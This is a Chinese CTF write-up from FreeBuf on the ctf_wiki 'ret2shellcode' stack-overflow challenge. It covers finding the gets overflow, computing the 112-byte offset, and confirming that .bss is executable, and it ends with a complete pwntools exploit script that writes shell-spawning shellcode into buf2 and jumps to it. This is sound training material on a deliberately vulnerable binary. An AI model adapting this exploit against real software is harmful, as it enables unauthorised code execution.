freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【二进制兔子之pwn-栈溢出】— ret2shellcode
Binary_Rabbit 2023-03-24 17:15:39 170207
所属地 上海

ret2shellcode

0x1、程序信息

描述内容
程序名称ret2shellcode
程序平台linux
程序来源ctf_wiki
CPU架构x86
libc版本2.31
利用手法ret2shellcode
系统版本Ubuntu 20.04 LTS
下载地址https://wwnd.lanzoue.com/ijspE0qedbte

0x2、检查保护

1.没有开启任何保护,堆、栈、BSS段均可执行代码

image-20210926111958664.png

0x3、寻找溢出点

1.很明显的看到main函数中的gets函数存在溢出点,不过要注意下方,它将输入的字符串复制到了buf2变量中

image-20210926112604643.png

2.我们双击buf2变量,跳转到了.bss段中,说明它是一个未初始化的全局变量

3.既然它会将用户输入的内容复制到这里来,且又没有开NX保护,所以我们直接在此处写入shellcode跳转过来

image-20210926112710193.png

0x4、计算溢出偏移

1.gbd加载程序,输入cyclic 200生成200个随机字符,按r,继续运行程序,粘贴随机字符串

image-20210926112852607.png

2.当程序断下来后,复制当前EIP

image-20210926112913383.png

3.输入cyclic -l EIP,计算出溢出偏移

image-20210926112934853.png

0x5、验证bss段可执行

1.在main函数下一个断点并执行

image-20210926113407651.png

2.输入vmmap,查看起始为0x804a000模块权限信息(buf2在0x804a080),发现是带有可执行权限的

image-20210926113216941.png

0x6、编写exp脚本

1.编写exp脚本

from pwn import *

# 启动进程
io = process('./ret2shellcode')

# 使用pwntools自带的命令生成shellcode
# 填充长度为产生溢出的偏移112
shellcode =  asm(shellcraft.sh()).ljust(112,b'\x00')

# 全局变量buf2的地址
payload = shellcode + p32(0x804A080)

# 发送shellcode
io.sendline(payload)

# 获取交互式shell
io.interactive()

2.运行脚本

image-20210926114020926.png

# CTF # 缓冲区溢出 # pwn
本文为 Binary_Rabbit 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Binary_Rabbit LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 2 关注者
【二进制兔子之pwn-栈溢出】— ret2plt
2023-03-24
【二进制兔子之pwn-栈溢出】— ret2reg
2023-03-24
【二进制兔子之PWN-栈溢出】— ret2text
2023-03-24
文章目录